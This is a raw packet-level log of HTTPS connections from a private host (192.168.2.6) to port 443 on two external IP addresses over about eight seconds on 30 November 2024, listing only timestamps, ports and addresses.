Nov 30, 2024 04:13:53.309451103 CET	50005	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:53.309454918 CET	443	50005	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:53.754673958 CET	443	50005	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:53.758285046 CET	443	50005	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:53.762069941 CET	50005	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:53.762703896 CET	50005	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:53.762721062 CET	443	50005	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:53.762732029 CET	50005	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:53.762737036 CET	443	50005	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:53.765692949 CET	50010	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:53.765731096 CET	443	50010	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:53.765820026 CET	50010	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:53.765953064 CET	50010	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:53.765969038 CET	443	50010	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:53.996244907 CET	443	50006	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:53.998622894 CET	50006	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:53.998656034 CET	443	50006	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:53.999146938 CET	50006	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:53.999152899 CET	443	50006	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:54.439924002 CET	443	50006	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:54.443480968 CET	443	50006	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:54.443526030 CET	50006	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:54.443536997 CET	443	50006	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:54.443584919 CET	50006	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:54.446397066 CET	50006	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:54.446415901 CET	443	50006	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:54.456094027 CET	50011	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:54.456131935 CET	443	50011	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:54.456187963 CET	50011	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:54.456337929 CET	50011	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:54.456350088 CET	443	50011	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:54.569751024 CET	443	50007	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:54.570329905 CET	50007	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:54.570346117 CET	443	50007	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:54.570926905 CET	50007	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:54.570931911 CET	443	50007	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:54.649743080 CET	443	50008	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:54.650384903 CET	50008	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:54.650414944 CET	443	50008	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:54.650887012 CET	50008	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:54.650892019 CET	443	50008	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:54.910937071 CET	443	50009	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:54.911607027 CET	50009	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:54.911622047 CET	443	50009	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:54.912125111 CET	50009	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:54.912128925 CET	443	50009	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:55.013693094 CET	443	50007	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:55.016824007 CET	443	50007	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:55.016886950 CET	50007	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:55.016922951 CET	50007	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:55.016937017 CET	443	50007	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:55.016946077 CET	50007	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:55.016951084 CET	443	50007	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:55.019737005 CET	50012	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:55.019777060 CET	443	50012	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:55.019835949 CET	50012	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:55.019982100 CET	50012	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:55.019994974 CET	443	50012	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:55.103041887 CET	443	50008	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:55.106633902 CET	443	50008	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:55.106729984 CET	50008	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:55.106792927 CET	50008	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:55.106822014 CET	443	50008	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:55.106832981 CET	50008	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:55.106838942 CET	443	50008	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:55.109946012 CET	50013	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:55.109975100 CET	443	50013	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:55.110071898 CET	50013	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:55.110227108 CET	50013	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:55.110235929 CET	443	50013	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:55.363977909 CET	443	50009	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:55.367300034 CET	443	50009	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:55.370156050 CET	50009	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:55.370183945 CET	50009	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:55.370194912 CET	443	50009	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:55.370208979 CET	50009	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:55.370214939 CET	443	50009	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:55.373071909 CET	50014	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:55.373107910 CET	443	50014	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:55.373188972 CET	50014	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:55.373339891 CET	50014	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:55.373358011 CET	443	50014	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:55.479785919 CET	443	50010	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:55.485646963 CET	50010	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:55.485675097 CET	443	50010	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:55.486141920 CET	50010	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:55.486148119 CET	443	50010	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:55.914659023 CET	443	50010	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:55.917907000 CET	443	50010	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:55.917944908 CET	443	50010	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:55.918026924 CET	50010	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:55.918077946 CET	50010	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:55.918330908 CET	50010	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:55.918349981 CET	443	50010	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:55.918361902 CET	50010	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:55.918366909 CET	443	50010	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:55.921340942 CET	50015	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:55.921366930 CET	443	50015	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:55.921458960 CET	50015	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:55.921617031 CET	50015	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:55.921626091 CET	443	50015	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:56.173041105 CET	443	50011	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:56.175488949 CET	50011	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:56.175530910 CET	443	50011	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:56.175982952 CET	50011	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:56.175991058 CET	443	50011	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:56.607708931 CET	443	50011	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:56.607794046 CET	443	50011	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:56.607873917 CET	50011	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:56.619708061 CET	50011	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:56.619735956 CET	443	50011	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:56.619755030 CET	50011	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:56.619765043 CET	443	50011	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:56.622823000 CET	50016	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:56.622879982 CET	443	50016	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:56.622937918 CET	50016	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:56.623126984 CET	50016	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:56.623142958 CET	443	50016	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:56.736792088 CET	443	50012	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:56.790204048 CET	50012	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:56.817759037 CET	50012	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:56.817775011 CET	443	50012	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:56.824117899 CET	50012	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:56.824122906 CET	443	50012	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:56.825753927 CET	443	50013	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:56.827439070 CET	50013	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:56.827456951 CET	443	50013	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:56.833774090 CET	50013	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:56.833779097 CET	443	50013	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:57.089812040 CET	443	50014	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:57.090421915 CET	50014	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:57.090444088 CET	443	50014	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:57.090929031 CET	50014	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:57.090934992 CET	443	50014	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:57.171267986 CET	443	50012	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:57.174695015 CET	443	50012	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:57.174746990 CET	443	50012	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:57.174767971 CET	50012	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:57.174815893 CET	50012	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:57.174873114 CET	50012	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:57.174894094 CET	443	50012	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:57.174906015 CET	50012	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:57.174911976 CET	443	50012	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:57.178102016 CET	50017	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:57.178154945 CET	443	50017	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:57.178230047 CET	50017	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:57.178375006 CET	50017	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:57.178390980 CET	443	50017	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:57.267369986 CET	443	50013	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:57.270426989 CET	443	50013	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:57.270484924 CET	50013	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:57.270536900 CET	50013	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:57.270553112 CET	443	50013	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:57.270565033 CET	50013	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:57.270570993 CET	443	50013	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:57.273727894 CET	50018	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:57.273751020 CET	443	50018	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:57.273818016 CET	50018	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:57.273947954 CET	50018	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:57.273957968 CET	443	50018	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:57.526460886 CET	443	50014	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:57.529664993 CET	443	50014	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:57.529716969 CET	443	50014	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:57.529717922 CET	50014	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:57.529782057 CET	50014	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:57.529830933 CET	50014	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:57.529845953 CET	443	50014	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:57.529855013 CET	50014	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:57.529860973 CET	443	50014	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:57.532737970 CET	50019	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:57.532773972 CET	443	50019	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:57.532843113 CET	50019	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:57.532988071 CET	50019	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:57.532999039 CET	443	50019	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:57.733948946 CET	443	50015	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:57.734539032 CET	50015	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:57.734560013 CET	443	50015	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:57.735030890 CET	50015	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:57.735034943 CET	443	50015	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:58.180717945 CET	443	50015	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:58.180912971 CET	443	50015	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:58.180994987 CET	50015	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:58.181243896 CET	50015	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:58.181262970 CET	443	50015	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:58.181274891 CET	50015	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:58.181281090 CET	443	50015	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:58.184148073 CET	50020	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:58.184190035 CET	443	50020	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:58.184259892 CET	50020	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:58.184408903 CET	50020	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:58.184422970 CET	443	50020	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:58.356769085 CET	443	50016	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:58.358588934 CET	50016	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:58.358620882 CET	443	50016	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:58.359096050 CET	50016	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:58.359102964 CET	443	50016	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:58.791794062 CET	443	50016	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:58.795461893 CET	443	50016	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:58.795522928 CET	50016	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:58.795583963 CET	50016	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:58.795603991 CET	443	50016	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:58.795613050 CET	50016	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:58.795619011 CET	443	50016	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:58.798752069 CET	50021	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:58.798796892 CET	443	50021	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:58.798876047 CET	50021	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:58.799073935 CET	50021	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:58.799087048 CET	443	50021	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:58.893147945 CET	443	50017	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:58.893680096 CET	50017	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:58.893714905 CET	443	50017	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:58.894167900 CET	50017	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:58.894176006 CET	443	50017	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:59.055989981 CET	443	50018	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:59.056588888 CET	50018	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:59.056606054 CET	443	50018	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:59.057082891 CET	50018	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:59.057086945 CET	443	50018	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:59.326512098 CET	443	50019	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:59.327136040 CET	50019	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:59.327152014 CET	443	50019	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:59.327632904 CET	50019	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:59.327636957 CET	443	50019	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:59.328201056 CET	443	50017	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:59.331267118 CET	443	50017	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:59.331331968 CET	50017	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:59.331366062 CET	50017	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:59.331377983 CET	443	50017	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:59.331388950 CET	50017	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:59.331394911 CET	443	50017	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:59.334391117 CET	50022	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:59.334439039 CET	443	50022	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:59.334513903 CET	50022	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:59.334641933 CET	50022	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:59.334656000 CET	443	50022	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:59.499978065 CET	443	50018	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:59.500022888 CET	443	50018	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:59.500066996 CET	443	50018	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:59.500087023 CET	50018	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:59.500119925 CET	50018	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:59.500380039 CET	50018	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:59.500392914 CET	443	50018	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:59.500405073 CET	50018	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:59.500408888 CET	443	50018	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:59.503561020 CET	50023	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:59.503601074 CET	443	50023	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:59.503684044 CET	50023	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:59.503870010 CET	50023	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:59.503882885 CET	443	50023	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:59.770359993 CET	443	50019	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:59.775474072 CET	443	50019	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:59.775544882 CET	50019	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:59.775589943 CET	50019	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:59.775603056 CET	443	50019	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:59.775612116 CET	50019	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:59.775619030 CET	443	50019	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:59.779095888 CET	50024	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:59.779140949 CET	443	50024	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:59.779205084 CET	50024	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:59.779362917 CET	50024	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:59.779377937 CET	443	50024	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:59.973521948 CET	443	50020	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:59.974359035 CET	50020	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:59.974381924 CET	443	50020	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:59.974872112 CET	50020	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:59.974878073 CET	443	50020	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:00.417309999 CET	443	50020	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:00.420753002 CET	443	50020	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:00.420828104 CET	50020	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:00.420872927 CET	50020	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:00.420880079 CET	443	50020	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:00.420897961 CET	50020	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:00.420902967 CET	443	50020	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:00.423804998 CET	50025	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:00.423831940 CET	443	50025	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:00.423921108 CET	50025	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:00.424082041 CET	50025	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:00.424093008 CET	443	50025	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:00.643702984 CET	443	50021	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:00.644324064 CET	50021	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:00.644356012 CET	443	50021	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:00.644830942 CET	50021	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:00.644836903 CET	443	50021	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:00.862831116 CET	443	50022	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:00.863548040 CET	50022	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:00.863579035 CET	443	50022	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:00.864046097 CET	50022	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:00.864053965 CET	443	50022	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:01.096987009 CET	443	50021	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:01.100040913 CET	443	50021	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:01.100107908 CET	50021	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:01.100148916 CET	50021	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:01.100148916 CET	50021	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:01.100167990 CET	443	50021	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:01.100177050 CET	443	50021	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:01.103128910 CET	50026	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:01.103178024 CET	443	50026	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:01.103264093 CET	50026	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:01.103421926 CET	50026	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:01.103435993 CET	443	50026	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:01.282362938 CET	443	50023	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:01.297245026 CET	443	50022	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:01.297732115 CET	50023	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:01.297755003 CET	443	50023	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:01.300760031 CET	443	50022	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:01.300852060 CET	50022	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:01.335441113 CET	50023	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:01.335459948 CET	443	50023	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:01.339965105 CET	50022	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:01.340006113 CET	443	50022	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:01.340024948 CET	50022	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:01.340033054 CET	443	50022	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:01.404926062 CET	50027	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:01.404953003 CET	443	50027	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:01.405044079 CET	50027	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:01.437861919 CET	50027	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:01.437895060 CET	443	50027	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:01.560472012 CET	443	50024	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:01.602607965 CET	50024	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:01.603751898 CET	50024	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:01.603760004 CET	443	50024	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:01.604459047 CET	50024	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:01.604464054 CET	443	50024	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:01.727124929 CET	443	50023	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:01.730248928 CET	443	50023	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:01.730308056 CET	50023	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:01.730392933 CET	50023	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:01.730408907 CET	443	50023	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:01.730422974 CET	50023	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:01.730427980 CET	443	50023	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:01.733565092 CET	50028	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:01.733603954 CET	443	50028	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:01.733658075 CET	50028	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:01.733813047 CET	50028	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:14:01.733829021 CET	443	50028	13.107.246.63	192.168.2.6
Nov 30, 2024 04:14:01.903775930 CET	50029	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:14:01.903809071 CET	443	50029	20.198.118.190	192.168.2.6
Nov 30, 2024 04:14:01.903898954 CET	50029	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:14:01.904496908 CET	50029	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:14:01.904510975 CET	443	50029	20.198.118.190	192.168.2.6
